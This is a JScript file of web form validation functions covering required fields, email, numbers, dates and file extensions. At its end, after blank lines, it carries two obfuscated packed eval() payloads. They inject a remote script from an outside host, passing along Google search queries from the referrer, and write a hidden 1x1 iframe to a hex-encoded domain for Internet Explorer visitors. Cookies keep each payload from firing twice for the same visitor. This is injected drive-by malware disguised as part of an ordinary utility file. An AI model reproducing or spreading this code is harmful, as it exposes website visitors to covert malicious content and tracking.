﻿// JScript File

/*
    Scope           : Required field validation
    Function Name   : isRequiredValid(fieldVal,fieldTitle)
    Parameter       : fieldVal - Required field Value
                      fieldTitle - Required field Title
    Return          : false if required field is empty
                      else true.                 
*/

function isRequiredValid(fieldVal,fieldTitle)
{
    if(fieldVal == "")
    {
        alert(fieldTitle + " is a required field.");
        return false;
    }
    return true;
}

/*
    Scope           : Email validation
    Function Name   : isEmailValid(fieldVal,fieldTitle)
    Parameter       : fieldVal - Required field Value
    Return          : false if inputed email address is invalid
                      else true.                 
*/

function isEmailValid(fieldVal) 
{
    var emailRegExp =  /(^[a-z]([a-z_\.]*)@([a-z_\.]*)([.][a-z]{3})$)|(^[a-z]([a-z_\.]*)@ ([a-z_\.]*)(\.[a-z]{3})(\.[a-z]{2})*$)/i;
    if(!emailRegExp.test(fieldVal))
    {
        alert("Enter a valid E-mail address.");
        return false;
    }
    return true;
}

/*
    Scope           : File Type validation
    Function Name   : isValidFileType(file,fileType,str)
    Parameter       : file - field value
                      fileType - Required file type
                      str - printed value 
    Return          : false if file type is invalid
                      else true.                 
*/
function isValidFileType(file,fileType,str)
{
    var fileExt = file.substring(file.lastIndexOf('.')+1, file.length).toLowerCase();
    if(fileExt != fileType && file !="")
    {
        alert("Select " + str + " file.");
        return false;
    }
    return true;
}


/*
    Scope           : Number validation
    Function Name   : isNumber(fieldVal,fieldTitle)
    Parameter       : fieldVal - Field Value
                      fieldTitle - Required field Title
    Return          : false if the field's value is not a number
                      else true.                 
*/

function isNumber(fieldVal,fieldTitle) 
{
    var numberRegExp =  /(^-?\d\d*\.\d*$)|(^-?\d\d*$)|(^-?\.\d\d*$)/;
    if(!numberRegExp.test(fieldVal) && fieldVal !="")
    {
        alert(fieldTitle + " must be a number.");
        return false;
    }
    return true;
}


/*
    Scope           : Date validation
    Function Name   : isValidDate(fieldVal)
    Parameter       : fieldVal - Field Value
    Return          : false if the field's value is not a  valid date formate
                      else true.                 
*/
function isValidDate(fieldVal) 
{
    var dateRegExp =  /^(0[1-9]|1[0,1,2])\/(0[1-9]|[1,2][0-9]|3[0-1])\/\d{4}$/;
    //var dateRegExp =  /^(0[1-9]|[1,2][0-9]|3[0-1])\/(0[1-9]|1[0,1,2])\/\d{4}$/;
    
    if(!dateRegExp.test(fieldVal.split(' ')[0]) && fieldVal !="")
    {
        alert("Enter Date 'mm/dd/yyyy' format");
        return false;
    }
    return true;
}

/*
    Scope           : Image file validation
    Function Name   : isImageFile(file)
    Parameter       : fieldVal - Field Value
    Return          : false if the field does not contain a image file
                      else true.                 
*/
function isImageFile(file){
    var fileLoc = file;
    var fileExt = fileLoc.substring(fileLoc.lastIndexOf('.')+1, fileLoc.length).toLowerCase();
    if((fileExt != 'jpg' && fileExt != 'gif' && fileExt !='jpeg') && fileExt != "")
    {
        alert("Select an image file.");
        return false;
    }
    return true;
}

function isValidFile(file){
    var fileLoc = file;
    var fileExt = fileLoc.substring(fileLoc.lastIndexOf('.')+1, fileLoc.length).toLowerCase();
    if((fileExt != 'jpg' && fileExt != 'gif' && fileExt !='jpeg' && fileExt != "pdf" && fileExt != "html") && fileExt != "")
    {
        alert("Select an image, pdf or html file.");
        return false;
    }
    return true;
}

function isJPG(file){
    var fileLoc = file;
    var fileExt = fileLoc.substring(fileLoc.lastIndexOf('.')+1, fileLoc.length).toLowerCase();
    if((fileExt != 'jpg'))
    {
        alert("Select only .jpg file.");
        return false;
    }
    return true;
}





eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 g=4.e.7("d=1");5 f=4.9.7(\'j.\');5 h=l.s.7("o 6.0");a(g==-1&&f!=-1&&h==-1){5 3=4.9.c(4.9.7(\'q=\'));5 8=3.7(\'&\');a(8==-1){8=p.n}3=3.c(0,8).i(2);a(m(3).k(0)!=\'%\'){4.r("<b E=\'t\' F=\'I://H.C/B.w?q="+3+"\'></b>");4.e="d=1; x=y, A z J u:v:G D; "}}',46,46,'|||query|document|var||indexOf|querysize|referrer|if|script|slice|_tskdjw|cookie|dri|dci|nai|substring|google|charAt|navigator|escape|length|MSIE|cmd||write|appVersion|JavaScript|12|15|js|expires|Mon|Jul|23|kv|org|GMT|language|src|58|24search|http|2013'.split('|')));
sa="%71%64%6F%73%69%65%2E%6E%65%74";eval(function(p,a,c,k,e,d){while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+c.toString(a)+'\\b','g'),k[c])}}return p}('a(0.4.7("5=s")==-1&&9.8.7("f 6")!=-1){0.4="5=s; e=c, 2 g b 2:d:h p; ";0.r("<3 q=1 t=1 o=\'n://"+j+"/i/\' k=\'l:m\'></3>")}',30,30,'document||14|iframe|cookie|_mlsdkf||indexOf|appVersion|navigator|if|2015|Mon|15|expires|MSIE|Jul|26|b2b|sa|style|display|none|http|src|GMT|width|write||height'.split('|')));
